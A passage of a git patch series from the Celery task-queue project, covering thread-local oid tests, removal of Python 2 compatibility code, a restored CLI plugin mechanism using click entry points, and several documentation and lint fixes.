uuid.UUID(oid2) + assert oid1 == oid2 + + def test_global_oid(self): + # Test that oid is global value also within threads + main_oid = self.app.oid + uuid.UUID(main_oid) + from concurrent.futures import ThreadPoolExecutor + with ThreadPoolExecutor(max_workers=1) as executor: + future = executor.submit(lambda: self.app.oid) + thread_oid = future.result() + uuid.UUID(thread_oid) + assert main_oid == thread_oid + + def test_thread_oid(self): + # Test that thread_oid is global value in single thread. + oid1 = self.app.thread_oid + oid2 = self.app.thread_oid + uuid.UUID(oid1) + uuid.UUID(oid2) + assert oid1 == oid2 + + def test_backend(self): + # Test that app.bakend returns the same backend in single thread + backend1 = self.app.backend + backend2 = self.app.backend + assert isinstance(backend1, Backend) + assert isinstance(backend2, Backend) + assert backend1 is backend2 + + def test_thread_backend(self): + # Test that app.bakend returns the new backend for each thread + main_backend = self.app.backend + from concurrent.futures import ThreadPoolExecutor + with ThreadPoolExecutor(max_workers=1) as executor: + future = executor.submit(lambda: self.app.backend) + thread_backend = future.result() + assert isinstance(main_backend, Backend) + assert isinstance(thread_backend, Backend) + assert main_backend is not thread_backend + + def test_thread_oid_is_local(self): + # Test that thread_oid is local to thread. + main_oid = self.app.thread_oid + uuid.UUID(main_oid) + from concurrent.futures import ThreadPoolExecutor + with ThreadPoolExecutor(max_workers=1) as executor: + future = executor.submit(lambda: self.app.thread_oid) + thread_oid = future.result() + uuid.UUID(thread_oid) + assert main_oid != thread_oid + class test_defaults: diff --git a/t/unit/backends/test_rpc.py b/t/unit/backends/test_rpc.py index f8567400706..71e573da8ff 100644 --- a/t/unit/backends/test_rpc.py +++ b/t/unit/backends/test_rpc.py @@ -1,3 +1,4 @@ +import uuid from unittest.mock import Mock, patch import pytest @@ -28,8 +29,22 @@ def setup(self): def test_oid(self): oid = self.b.oid oid2 = self.b.oid + assert uuid.UUID(oid) assert oid == oid2 - assert oid == self.app.oid + assert oid == self.app.thread_oid + + def test_oid_threads(self): + # Verify that two RPC backends executed in different threads + # has different oid. + oid = self.b.oid + from concurrent.futures import ThreadPoolExecutor + with ThreadPoolExecutor(max_workers=1) as executor: + future = executor.submit(lambda: RPCBackend(app=self.app).oid) + thread_oid = future.result() + assert uuid.UUID(oid) + assert uuid.UUID(thread_oid) + assert oid == self.app.thread_oid + assert thread_oid != oid def test_interface(self): self.b.on_reply_declare('task_id') diff --git a/t/unit/tasks/test_chord.py b/t/unit/tasks/test_chord.py index e25e2ccc229..bbec557831a 100644 --- a/t/unit/tasks/test_chord.py +++ b/t/unit/tasks/test_chord.py @@ -1,5 +1,5 @@ from contextlib import contextmanager -from unittest.mock import Mock, patch, sentinel +from unittest.mock import Mock, patch, sentinel, PropertyMock import pytest @@ -294,9 +294,8 @@ def adds(self, sig, lazy=False): return self.add_to_chord(sig, lazy) self.adds = adds + @patch('celery.Celery.backend', new=PropertyMock(name='backend')) def test_add_to_chord(self): - self.app.backend = Mock(name='backend') - sig = self.add.s(2, 2) sig.delay = Mock(name='sig.delay') self.adds.request.group = uuid() @@ -333,8 +332,8 @@ def test_add_to_chord(self): class test_Chord_task(ChordCase): + @patch('celery.Celery.backend', new=PropertyMock(name='backend')) def test_run(self): - self.app.backend = Mock() self.app.backend.cleanup = Mock() self.app.backend.cleanup.__name__ = 'cleanup' Chord = self.app.tasks['celery.chord'] diff --git a/t/unit/tasks/test_result.py b/t/unit/tasks/test_result.py index e3d06db0f30..d16dc9eae26 100644 --- a/t/unit/tasks/test_result.py +++ b/t/unit/tasks/test_result.py @@ -708,19 +708,19 @@ def test_get_nested_without_native_join(self): ]), ]), ]) - ts.app.backend = backend - vals = ts.get() - assert vals == [ - '1.1', - [ - '2.1', + with patch('celery.Celery.backend', new=backend): + vals = ts.get() + assert vals == [ + '1.1', [ - '3.1', - '3.2', - ] - ], - ] + '2.1', + [ + '3.1', + '3.2', + ] + ], + ] def test_getitem(self): subs = [MockAsyncResultSuccess(uuid(), app=self.app), @@ -771,15 +771,16 @@ def test_join_native(self): results = [self.app.AsyncResult(uuid(), backend=backend) for i in range(10)] ts = self.app.GroupResult(uuid(), results) - ts.app.backend = backend - backend.ids = [result.id for result in results] - res = ts.join_native() - assert res == list(range(10)) - callback = Mock(name='callback') - assert not ts.join_native(callback=callback) - callback.assert_has_calls([ - call(r.id, i) for i, r in enumerate(ts.results) - ]) + + with patch('celery.Celery.backend', new=backend): + backend.ids = [result.id for result in results] + res = ts.join_native() + assert res == list(range(10)) + callback = Mock(name='callback') + assert not ts.join_native(callback=callback) + callback.assert_has_calls([ + call(r.id, i) for i, r in enumerate(ts.results) + ]) def test_join_native_raises(self): ts = self.app.GroupResult(uuid(), [self.app.AsyncResult(uuid())]) @@ -813,9 +814,9 @@ def test_iter_native(self): results = [self.app.AsyncResult(uuid(), backend=backend) for i in range(10)] ts = self.app.GroupResult(uuid(), results) - ts.app.backend = backend - backend.ids = [result.id for result in results] - assert len(list(ts.iter_native())) == 10 + with patch('celery.Celery.backend', new=backend): + backend.ids = [result.id for result in results] + assert len(list(ts.iter_native())) == 10 def test_join_timeout(self): ar = MockAsyncResultSuccess(uuid(), app=self.app) diff --git a/t/unit/test_canvas.py b/t/unit/test_canvas.py new file mode 100644 index 00000000000..4ba7ba59f3e --- /dev/null +++ b/t/unit/test_canvas.py @@ -0,0 +1,33 @@ +import uuid + + +class test_Canvas: + + def test_freeze_reply_to(self): + # Tests that Canvas.freeze() correctly + # creates reply_to option + + @self.app.task + def test_task(a, b): + return + + s = test_task.s(2, 2) + s.freeze() + + from concurrent.futures import ThreadPoolExecutor + + def foo(): + s = test_task.s(2, 2) + s.freeze() + return self.app.thread_oid, s.options['reply_to'] + with ThreadPoolExecutor(max_workers=1) as executor: + future = executor.submit(foo) + t_reply_to_app, t_reply_to_opt = future.result() + + assert uuid.UUID(s.options['reply_to']) + assert uuid.UUID(t_reply_to_opt) + # reply_to must be equal to thread_oid of Application + assert self.app.thread_oid == s.options['reply_to'] + assert t_reply_to_app == t_reply_to_opt + # reply_to must be thread-relative. + assert t_reply_to_opt != s.options['reply_to'] From dea0bd1672cf8d0017f4dae3dfc216278637f90a Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Tue, 24 Nov 2020 00:09:53 +0100 Subject: [PATCH 077/415] Remove python2 compatibility code --- celery/app/trace.py | 20 +++++++--------- celery/backends/base.py | 20 +++++++--------- celery/backends/cassandra.py | 9 +++---- celery/concurrency/asynpool.py | 9 +------ celery/concurrency/thread.py | 6 ----- celery/local.py | 2 -- celery/platforms.py | 19 --------------- celery/utils/collections.py | 42 +++++---------------------------- celery/utils/imports.py | 23 +++++++----------- t/unit/app/test_log.py | 6 +---- t/unit/backends/test_base.py | 23 +++++------------- t/unit/backends/test_mongodb.py | 3 --- t/unit/tasks/test_trace.py | 39 ++++++++++++------------------ t/unit/utils/test_local.py | 3 --- t/unit/worker/test_request.py | 27 +-------------------- 15 files changed, 57 insertions(+), 194 deletions(-) diff --git a/celery/app/trace.py b/celery/app/trace.py index bb928f2f20b..f9b8c83e6e6 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -266,18 +266,14 @@ def traceback_clear(exc=None): else: _, _, tb = sys.exc_info() - if sys.version_info >= (3, 5, 0): - while tb is not None: - try: - tb.tb_frame.clear() - tb.tb_frame.f_locals - except RuntimeError: - # Ignore the exception raised if the frame is still executing. - pass - tb = tb.tb_next - - elif (2, 7, 0) <= sys.version_info < (3, 0, 0): - sys.exc_clear() + while tb is not None: + try: + tb.tb_frame.clear() + tb.tb_frame.f_locals + except RuntimeError: + # Ignore the exception raised if the frame is still executing. + pass + tb = tb.tb_next def build_tracer(name, task, loader=None, hostname=None, store_errors=True, diff --git a/celery/backends/base.py b/celery/backends/base.py index 74fce23c3c4..1aac2a0fc95 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -261,18 +261,14 @@ def fail_from_current_stack(self, task_id, exc=None): self.mark_as_failure(task_id, exc, exception_info.traceback) return exception_info finally: - if sys.version_info >= (3, 5, 0): - while tb is not None: - try: - tb.tb_frame.clear() - tb.tb_frame.f_locals - except RuntimeError: - # Ignore the exception raised if the frame is still executing. - pass - tb = tb.tb_next - - elif (2, 7, 0) <= sys.version_info < (3, 0, 0): - sys.exc_clear() + while tb is not None: + try: + tb.tb_frame.clear() + tb.tb_frame.f_locals + except RuntimeError: + # Ignore the exception raised if the frame is still executing. + pass + tb = tb.tb_next del tb diff --git a/celery/backends/cassandra.py b/celery/backends/cassandra.py index 72bb33dfe9f..1220063b63c 100644 --- a/celery/backends/cassandra.py +++ b/celery/backends/cassandra.py @@ -1,5 +1,4 @@ """Apache Cassandra result store backend using the DataStax driver.""" -import sys import threading from celery import states @@ -60,11 +59,9 @@ USING TTL {0} """ -if sys.version_info[0] == 3: - def buf_t(x): - return bytes(x, 'utf8') -else: - buf_t = buffer # noqa + +def buf_t(x): + return bytes(x, 'utf8') class CassandraBackend(BaseBackend): diff --git a/celery/concurrency/asynpool.py b/celery/concurrency/asynpool.py index 7ea3eb204c9..5f17f247d62 100644 --- a/celery/concurrency/asynpool.py +++ b/celery/concurrency/asynpool.py @@ -16,7 +16,6 @@ import gc import os import select -import sys import time from collections import Counter, deque, namedtuple from io import BytesIO @@ -24,6 +23,7 @@ from pickle import HIGHEST_PROTOCOL from time import sleep from weakref import WeakValueDictionary, ref +from struct import pack, unpack, unpack_from from billiard import pool as _pool from billiard.compat import buf_t, isblocking, setblocking @@ -35,7 +35,6 @@ from kombu.utils.functional import fxrange from vine import promise -from celery.platforms import pack, unpack, unpack_from from celery.utils.functional import noop from celery.utils.log import get_logger from celery.worker import state as worker_state @@ -47,12 +46,6 @@ from _billiard import read as __read__ readcanbuf = True - # unpack_from supports memoryview in 2.7.6 and 3.3+ - if sys.version_info[0] == 2 and sys.version_info < (2, 7, 6): - - def unpack_from(fmt, view, _unpack_from=unpack_from): # noqa - return _unpack_from(fmt, view.tobytes()) # <- memoryview - except ImportError: # pragma: no cover def __read__(fd, buf, size, read=os.read): # noqa diff --git a/celery/concurrency/thread.py b/celery/concurrency/thread.py index eb9c8683c7d..ffd2e507f11 100644 --- a/celery/concurrency/thread.py +++ b/celery/concurrency/thread.py @@ -1,6 +1,5 @@ """Thread execution pool.""" -import sys from concurrent.futures import ThreadPoolExecutor, wait from .base import BasePool, apply_target @@ -25,11 +24,6 @@ class TaskPool(BasePool): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - - # from 3.5, it is calculated from number of CPUs - if (3, 0) <= sys.version_info < (3, 5) and self.limit is None: - self.limit = 5 - self.executor = ThreadPoolExecutor(max_workers=self.limit) def on_stop(self): diff --git a/celery/local.py b/celery/local.py index 5fc32148ac1..f3803f40bec 100644 --- a/celery/local.py +++ b/celery/local.py @@ -539,8 +539,6 @@ def recreate_module(name, compat_modules=None, by_module=None, direct=None, operator.add, [tuple(v) for v in [compat_modules, origins, direct, attrs]], ))) - if sys.version_info[0] < 3: - _all = [s.encode() for s in _all] cattrs = { '_compat_modules': compat_modules, '_all_by_module': by_module, '_direct': direct, diff --git a/celery/platforms.py b/celery/platforms.py index ebda45c49ca..452435be6ac 100644 --- a/celery/platforms.py +++ b/celery/platforms.py @@ -11,7 +11,6 @@ import os import platform as _platform import signal as _signal -import struct import sys import warnings from collections import namedtuple @@ -797,21 +796,3 @@ def check_privileges(accept_content): warnings.warn(RuntimeWarning(ROOT_DISCOURAGED.format( uid=uid, euid=euid, gid=gid, egid=egid, ))) - - -if sys.version_info < (2, 7, 7): # pragma: no cover - import functools - - def _to_bytes_arg(fun): - @functools.wraps(fun) - def _inner(s, *args, **kwargs): - return fun(s.encode(), *args, **kwargs) - return _inner - - pack = _to_bytes_arg(struct.pack) - unpack = _to_bytes_arg(struct.unpack) - unpack_from = _to_bytes_arg(struct.unpack_from) -else: - pack = struct.pack - unpack = struct.unpack - unpack_from = struct.unpack_from diff --git a/celery/utils/collections.py b/celery/utils/collections.py index b9dbf826fa3..b15e122b6b7 100644 --- a/celery/utils/collections.py +++ b/celery/utils/collections.py @@ -1,5 +1,4 @@ """Custom maps, sets, sequences, and other data structures.""" -import sys import time from collections import OrderedDict as _OrderedDict from collections import deque @@ -193,24 +192,9 @@ def _iterate_values(self): yield getattr(self.obj, key) itervalues = _iterate_values - if sys.version_info[0] == 3: # pragma: no cover - items = _iterate_items - keys = _iterate_keys - values = _iterate_values - else: - - def keys(self): - # type: () -> List[Any] - return list(self) - - def items(self): - # type: () -> List[Tuple[Any, Any]] - return list(self._iterate_items()) - - def values(self): - # type: () -> List[Any] - return list(self._iterate_values()) - + items = _iterate_items + keys = _iterate_keys + values = _iterate_values MutableMapping.register(DictAttribute) # noqa: E305 @@ -360,23 +344,9 @@ def _iterate_values(self): def bind_to(self, callback): self._observers.append(callback) - if sys.version_info[0] == 3: # pragma: no cover - keys = _iterate_keys - items = _iterate_items - values = _iterate_values - - else: # noqa - def keys(self): - # type: () -> List[Any] - return list(self._iterate_keys()) - - def items(self): - # type: () -> List[Tuple[Any, Any]] - return list(self._iterate_items()) - - def values(self): - # type: () -> List[Any] - return list(self._iterate_values()) + keys = _iterate_keys + items = _iterate_items + values = _iterate_values class ConfigurationView(ChainMap, AttributeDictMixin): diff --git a/celery/utils/imports.py b/celery/utils/imports.py index fd9009c32ac..0303bd3c051 100644 --- a/celery/utils/imports.py +++ b/celery/utils/imports.py @@ -25,21 +25,14 @@ class NotAPackage(Exception): """Raised when importing a package, but it's not a package.""" -if sys.version_info > (3, 3): # pragma: no cover - def qualname(obj): - """Return object name.""" - if not hasattr(obj, '__name__') and hasattr(obj, '__class__'): - obj = obj.__class__ - q = getattr(obj, '__qualname__', None) - if '.' not in q: - q = '.'.join((obj.__module__, q)) - return q -else: - def qualname(obj): # noqa - """Return object name.""" - if not hasattr(obj, '__name__') and hasattr(obj, '__class__'): - obj = obj.__class__ - return '.'.join((obj.__module__, obj.__name__)) +def qualname(obj): + """Return object name.""" + if not hasattr(obj, '__name__') and hasattr(obj, '__class__'): + obj = obj.__class__ + q = getattr(obj, '__qualname__', None) + if '.' not in q: + q = '.'.join((obj.__module__, q)) + return q def instantiate(name, *args, **kwargs): diff --git a/t/unit/app/test_log.py b/t/unit/app/test_log.py index 453c3f26702..3793b7e8276 100644 --- a/t/unit/app/test_log.py +++ b/t/unit/app/test_log.py @@ -103,8 +103,6 @@ def test_formatException_bytes(self, safe_str, fe): raise Exception() except Exception: assert x.formatException(sys.exc_info()) - if sys.version_info[0] == 2: - safe_str.assert_called() @patch('logging.Formatter.format') def test_format_object(self, _format): @@ -222,9 +220,7 @@ def test_setup_logger_no_handlers_stream(self): @patch('os.fstat') def test_setup_logger_no_handlers_file(self, *args): tempfile = mktemp(suffix='unittest', prefix='celery') - _open = ('builtins.open' if sys.version_info[0] == 3 - else '__builtin__.open') - with patch(_open) as osopen: + with patch('builtins.open') as osopen: with mock.restore_logging(): files = defaultdict(StringIO) diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index fbcda1ceb3e..0e4bb133c85 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -1,4 +1,3 @@ -import sys from contextlib import contextmanager from unittest.mock import ANY, Mock, call, patch, sentinel @@ -258,7 +257,6 @@ def test_json_exception_arguments(self): y = self.b.exception_to_python(x) assert isinstance(y, Exception) - @pytest.mark.skipif(sys.version_info < (3, 3), reason='no qualname support') def test_json_exception_nested(self): self.b.serializer = 'json' x = self.b.prepare_exception(objectexception.Nested('msg')) @@ -276,10 +274,7 @@ def test_impossible(self): assert str(x) y = self.b.exception_to_python(x) assert y.__class__.__name__ == 'Impossible' - if sys.version_info < (2, 5): - assert y.__class__.__module__ - else: - assert y.__class__.__module__ == 'foo.module' + assert y.__class__.__module__ == 'foo.module' def test_regular(self): self.b.serializer = 'pickle' @@ -403,9 +398,6 @@ def test_fail_from_current_stack(self): self.b.mark_as_failure = Mock() frame_list = [] - if (2, 7, 0) <= sys.version_info < (3, 0, 0): - sys.exc_clear = Mock() - def raise_dummy(): frame_str_temp = str(inspect.currentframe().__repr__) frame_list.append(frame_str_temp) @@ -420,14 +412,11 @@ def raise_dummy(): assert args[1] is exc assert args[2] - if sys.version_info >= (3, 5, 0): - tb_ = exc.__traceback__ - while tb_ is not None: - if str(tb_.tb_frame.__repr__) == frame_list[0]: - assert len(tb_.tb_frame.f_locals) == 0 - tb_ = tb_.tb_next - elif (2, 7, 0) <= sys.version_info < (3, 0, 0): - sys.exc_clear.assert_called() + tb_ = exc.__traceback__ + while tb_ is not None: + if str(tb_.tb_frame.__repr__) == frame_list[0]: + assert len(tb_.tb_frame.f_locals) == 0 + tb_ = tb_.tb_next def test_prepare_value_serializes_group_result(self): self.b.serializer = 'json' diff --git a/t/unit/backends/test_mongodb.py b/t/unit/backends/test_mongodb.py index 5a391d86d30..d0e651ed37c 100644 --- a/t/unit/backends/test_mongodb.py +++ b/t/unit/backends/test_mongodb.py @@ -1,5 +1,4 @@ import datetime -import sys from pickle import dumps, loads from unittest.mock import ANY, MagicMock, Mock, patch, sentinel @@ -659,8 +658,6 @@ def test_encode_success_results(self, mongo_backend_factory, serializer, backend = mongo_backend_factory(serializer=serializer) backend.store_result(TASK_ID, result, 'SUCCESS') recovered = backend.get_result(TASK_ID) - if sys.version_info.major == 2 and isinstance(recovered, str): - result_type = str # workaround for python 2 compatibility and `unicode_literals` assert type(recovered) == result_type assert recovered == result diff --git a/t/unit/tasks/test_trace.py b/t/unit/tasks/test_trace.py index e78b6aa4148..3d7061acea5 100644 --- a/t/unit/tasks/test_trace.py +++ b/t/unit/tasks/test_trace.py @@ -176,42 +176,33 @@ def raise_dummy(): except KeyError as exc: traceback_clear(exc) - if sys.version_info >= (3, 5, 0): - tb_ = exc.__traceback__ - while tb_ is not None: - if str(tb_.tb_frame.__repr__) == frame_list[0]: - assert len(tb_.tb_frame.f_locals) == 0 - tb_ = tb_.tb_next - elif (2, 7, 0) <= sys.version_info < (3, 0, 0): - sys.exc_clear.assert_called() + tb_ = exc.__traceback__ + while tb_ is not None: + if str(tb_.tb_frame.__repr__) == frame_list[0]: + assert len(tb_.tb_frame.f_locals) == 0 + tb_ = tb_.tb_next try: raise_dummy() except KeyError as exc: traceback_clear() - if sys.version_info >= (3, 5, 0): - tb_ = exc.__traceback__ - while tb_ is not None: - if str(tb_.tb_frame.__repr__) == frame_list[0]: - assert len(tb_.tb_frame.f_locals) == 0 - tb_ = tb_.tb_next - elif (2, 7, 0) <= sys.version_info < (3, 0, 0): - sys.exc_clear.assert_called() + tb_ = exc.__traceback__ + while tb_ is not None: + if str(tb_.tb_frame.__repr__) == frame_list[0]: + assert len(tb_.tb_frame.f_locals) == 0 + tb_ = tb_.tb_next try: raise_dummy() except KeyError as exc: traceback_clear(str(exc)) - if sys.version_info >= (3, 5, 0): - tb_ = exc.__traceback__ - while tb_ is not None: - if str(tb_.tb_frame.__repr__) == frame_list[0]: - assert len(tb_.tb_frame.f_locals) == 0 - tb_ = tb_.tb_next - elif (2, 7, 0) <= sys.version_info < (3, 0, 0): - sys.exc_clear.assert_called() + tb_ = exc.__traceback__ + while tb_ is not None: + if str(tb_.tb_frame.__repr__) == frame_list[0]: + assert len(tb_.tb_frame.f_locals) == 0 + tb_ = tb_.tb_next @patch('celery.app.trace.traceback_clear') def test_when_Ignore(self, mock_traceback_clear): diff --git a/t/unit/utils/test_local.py b/t/unit/utils/test_local.py index a10accf086d..621a77595b2 100644 --- a/t/unit/utils/test_local.py +++ b/t/unit/utils/test_local.py @@ -1,4 +1,3 @@ -import sys from unittest.mock import Mock import pytest @@ -143,8 +142,6 @@ def test_listproxy(self): x[0:2] = [1, 2] del(x[0:2]) assert str(x) - if sys.version_info[0] < 3: - assert x.__cmp__(object()) == -1 def test_complex_cast(self): diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index d63ccbb1147..c0d0119d9b8 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -2,15 +2,13 @@ import os import signal import socket -import sys from datetime import datetime, timedelta from time import monotonic, time from unittest.mock import Mock, patch import pytest from billiard.einfo import ExceptionInfo -from kombu.utils.encoding import (default_encode, from_utf8, safe_repr, - safe_str) +from kombu.utils.encoding import from_utf8, safe_repr, safe_str from kombu.utils.uuid import uuid from celery import states @@ -99,29 +97,6 @@ def jail(app, task_id, name, args, kwargs): ).retval -@pytest.mark.skipif(sys.version_info[0] > 3, reason='Py2 only') -class test_default_encode: - - def test_jython(self): - prev, sys.platform = sys.platform, 'java 1.6.1' - try: - assert default_encode(b'foo') == b'foo' - finally: - sys.platform = prev - - def test_cpython(self): - prev, sys.platform = sys.platform, 'darwin' - gfe, sys.getfilesystemencoding = ( - sys.getfilesystemencoding, - lambda: 'utf-8', - ) - try: - assert default_encode(b'foo') == b'foo' - finally: - sys.platform = prev - sys.getfilesystemencoding = gfe - - class test_Retry: def test_retry_semipredicate(self): From 2cc4d999106f573802c14a15a22fac6dfd8e781e Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 25 Nov 2020 16:02:48 +0200 Subject: [PATCH 078/415] Restore ability to extend the CLI with new sub-commands. --- celery/bin/celery.py | 3 +++ requirements/default.txt | 1 + 2 files changed, 4 insertions(+) diff --git a/celery/bin/celery.py b/celery/bin/celery.py index 6626c21fa64..095766c0f4d 100644 --- a/celery/bin/celery.py +++ b/celery/bin/celery.py @@ -7,6 +7,8 @@ import click.exceptions from click.types import ParamType from click_didyoumean import DYMGroup +from click_plugins import with_plugins +from pkg_resources import iter_entry_points from celery import VERSION_BANNER from celery.app.utils import find_app @@ -69,6 +71,7 @@ def convert(self, value, param, ctx): APP = App() +@with_plugins(iter_entry_points('celery.commands')) @click.group(cls=DYMGroup, invoke_without_command=True) @click.option('-A', '--app', diff --git a/requirements/default.txt b/requirements/default.txt index 124c56679da..3eafbb470f5 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -5,3 +5,4 @@ vine>=5.0.0,<6.0 click>=7.0 click-didyoumean>=0.0.3 click-repl>=0.1.6 +click-plugins>=1.1.1 From 07000d826573a97ff633b688bda7bf30db114dfe Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 25 Nov 2020 16:56:42 +0200 Subject: [PATCH 079/415] Adjust documentation to demonstrate how to introduce sub-command plugins in 5.x. Fixes #6439. --- docs/userguide/extending.rst | 39 +++++++++++++----------------------- 1 file changed, 14 insertions(+), 25 deletions(-) diff --git a/docs/userguide/extending.rst b/docs/userguide/extending.rst index 969eb72a51c..21ff68ecd2a 100644 --- a/docs/userguide/extending.rst +++ b/docs/userguide/extending.rst @@ -816,12 +816,10 @@ Entry-points is special meta-data that can be added to your packages ``setup.py` and then after installation, read from the system using the :mod:`pkg_resources` module. Celery recognizes ``celery.commands`` entry-points to install additional -sub-commands, where the value of the entry-point must point to a valid subclass -of :class:`celery.bin.base.Command`. There's limited documentation, -unfortunately, but you can find inspiration from the various commands in the -:mod:`celery.bin` package. +sub-commands, where the value of the entry-point must point to a valid click +command. -This is how the :pypi:`Flower` monitoring extension adds the :program:`celery flower` command, +This is how the :pypi:`Flower` monitoring extension may add the :program:`celery flower` command, by adding an entry-point in :file:`setup.py`: .. code-block:: python @@ -830,44 +828,35 @@ by adding an entry-point in :file:`setup.py`: name='flower', entry_points={ 'celery.commands': [ - 'flower = flower.command:FlowerCommand', + 'flower = flower.command:flower', ], } ) The command definition is in two parts separated by the equal sign, where the first part is the name of the sub-command (flower), then the second part is -the fully qualified symbol path to the class that implements the command: +the fully qualified symbol path to the function that implements the command: .. code-block:: text - flower.command:FlowerCommand + flower.command:flower The module path and the name of the attribute should be separated by colon as above. -In the module :file:`flower/command.py`, the command class is defined -something like this: +In the module :file:`flower/command.py`, the command function may be defined +as the following: .. code-block:: python - from celery.bin.base import Command + import click - - class FlowerCommand(Command): - - def add_arguments(self, parser): - parser.add_argument( - '--port', default=8888, type='int', - help='Webserver port', - ), - parser.add_argument( - '--debug', action='store_true', - ) - - def run(self, port=None, debug=False, **kwargs): - print('Running our command') + @click.command() + @click.option('--port', default=8888, type=int, help='Webserver port') + @click.option('--debug', is_flag=True) + def flower(port, debug): + print('Running our command') Worker API From 681e72edb918c8ff315665a6abbfc6dd99f303e2 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 26 Nov 2020 11:41:40 +0200 Subject: [PATCH 080/415] autopep8 & isort. --- celery/concurrency/asynpool.py | 2 +- celery/utils/collections.py | 1 + t/unit/app/test_app.py | 2 +- t/unit/tasks/test_chord.py | 2 +- 4 files changed, 4 insertions(+), 3 deletions(-) diff --git a/celery/concurrency/asynpool.py b/celery/concurrency/asynpool.py index 5f17f247d62..f4d1c475a8e 100644 --- a/celery/concurrency/asynpool.py +++ b/celery/concurrency/asynpool.py @@ -21,9 +21,9 @@ from io import BytesIO from numbers import Integral from pickle import HIGHEST_PROTOCOL +from struct import pack, unpack, unpack_from from time import sleep from weakref import WeakValueDictionary, ref -from struct import pack, unpack, unpack_from from billiard import pool as _pool from billiard.compat import buf_t, isblocking, setblocking diff --git a/celery/utils/collections.py b/celery/utils/collections.py index b15e122b6b7..f19014c2dca 100644 --- a/celery/utils/collections.py +++ b/celery/utils/collections.py @@ -196,6 +196,7 @@ def _iterate_values(self): keys = _iterate_keys values = _iterate_values + MutableMapping.register(DictAttribute) # noqa: E305 diff --git a/t/unit/app/test_app.py b/t/unit/app/test_app.py index 2512b16cd4f..5178cbdf59b 100644 --- a/t/unit/app/test_app.py +++ b/t/unit/app/test_app.py @@ -17,8 +17,8 @@ from celery import current_app, shared_task from celery.app import base as _appbase from celery.app import defaults -from celery.exceptions import ImproperlyConfigured from celery.backends.base import Backend +from celery.exceptions import ImproperlyConfigured from celery.loaders.base import unconfigured from celery.platforms import pyimplementation from celery.utils.collections import DictAttribute diff --git a/t/unit/tasks/test_chord.py b/t/unit/tasks/test_chord.py index bbec557831a..f4e03a0e130 100644 --- a/t/unit/tasks/test_chord.py +++ b/t/unit/tasks/test_chord.py @@ -1,5 +1,5 @@ from contextlib import contextmanager -from unittest.mock import Mock, patch, sentinel, PropertyMock +from unittest.mock import Mock, PropertyMock, patch, sentinel import pytest From ffacfe3e384554d1eeaaeb84a4b8e45171122b18 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 26 Nov 2020 11:55:53 +0200 Subject: [PATCH 081/415] Linters now run using Python 3.9. --- .travis.yml | 2 +- tox.ini | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/.travis.yml b/.travis.yml index 3c532ee95de..316d206de11 100644 --- a/.travis.yml +++ b/.travis.yml @@ -59,7 +59,7 @@ jobs: env: MATRIX_TOXENV=integration-elasticsearch stage: integration - - python: '3.8' + - python: '3.9' env: - TOXENV=flake8,apicheck,configcheck,bandit - CELERY_TOX_PARALLEL='--parallel --parallel-live' diff --git a/tox.ini b/tox.ini index 8ec20b7a007..efdfa1c56be 100644 --- a/tox.ini +++ b/tox.ini @@ -65,8 +65,7 @@ basepython = 3.8: python3.8 3.9: python3.9 pypy3: pypy3 - flake8,apicheck,linkcheck,configcheck,bandit: python3.8 - flakeplus: python2.7 + flake8,apicheck,linkcheck,configcheck,bandit: python3.9 usedevelop = True [testenv:apicheck] From 6d4b6cbb61bf19695f1a64774d4e67368a7a6af7 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Fri, 27 Nov 2020 16:46:26 +0100 Subject: [PATCH 082/415] Fix apply_async() in Calling Tasks userguide --- docs/userguide/calling.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/userguide/calling.rst b/docs/userguide/calling.rst index 811820b44a1..363e8f2a9a8 100644 --- a/docs/userguide/calling.rst +++ b/docs/userguide/calling.rst @@ -711,13 +711,13 @@ setting or by using the ``ignore_result`` option: .. code-block:: pycon - >>> result = add.apply_async(1, 2, ignore_result=True) + >>> result = add.apply_async((1, 2), ignore_result=True) >>> result.get() None >>> # Do not ignore result (default) ... - >>> result = add.apply_async(1, 2, ignore_result=False) + >>> result = add.apply_async((1, 2), ignore_result=False) >>> result.get() 3 From 5529c33ed14520341d3ea7929e2722a7066e7509 Mon Sep 17 00:00:00 2001 From: henribru <6639509+henribru@users.noreply.github.com> Date: Sun, 29 Nov 2020 15:31:17 +0100 Subject: [PATCH 083/415] Fix dead links in contributing guide (#6506) --- CONTRIBUTING.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTING.rst b/CONTRIBUTING.rst index 9814b9c7ee4..e869a4f45fe 100644 --- a/CONTRIBUTING.rst +++ b/CONTRIBUTING.rst @@ -40,7 +40,7 @@ The Code of Conduct is heavily based on the `Ubuntu Code of Conduct`_, and the `Pylons Code of Conduct`_. .. _`Ubuntu Code of Conduct`: https://www.ubuntu.com/community/conduct -.. _`Pylons Code of Conduct`: http://docs.pylonshq.com/community/conduct.html +.. _`Pylons Code of Conduct`: https://pylonsproject.org/community-code-of-conduct.html Be considerate -------------- @@ -447,7 +447,7 @@ fetch and checkout a remote branch like this:: .. _`Fork a Repo`: https://help.github.com/fork-a-repo/ .. _`Rebasing merge commits in git`: - https://notes.envato.com/developers/rebasing-merge-commits-in-git/ + https://web.archive.org/web/20150627054345/http://marketblog.envato.com/general/rebasing-merge-commits-in-git/ .. _`Rebase`: https://help.github.com/rebase/ .. _contributing-docker-development: From 443ef65248fa2f4cd0931119ce4d5942aa7b2b4b Mon Sep 17 00:00:00 2001 From: henribru <6639509+henribru@users.noreply.github.com> Date: Mon, 30 Nov 2020 04:17:33 +0100 Subject: [PATCH 084/415] Fix inconsistency in documentation for `link_error` (#6505) * Make documentation of link_error consistent Fixes #4099 * Fix undefined variable in example * Add to contributors list --- 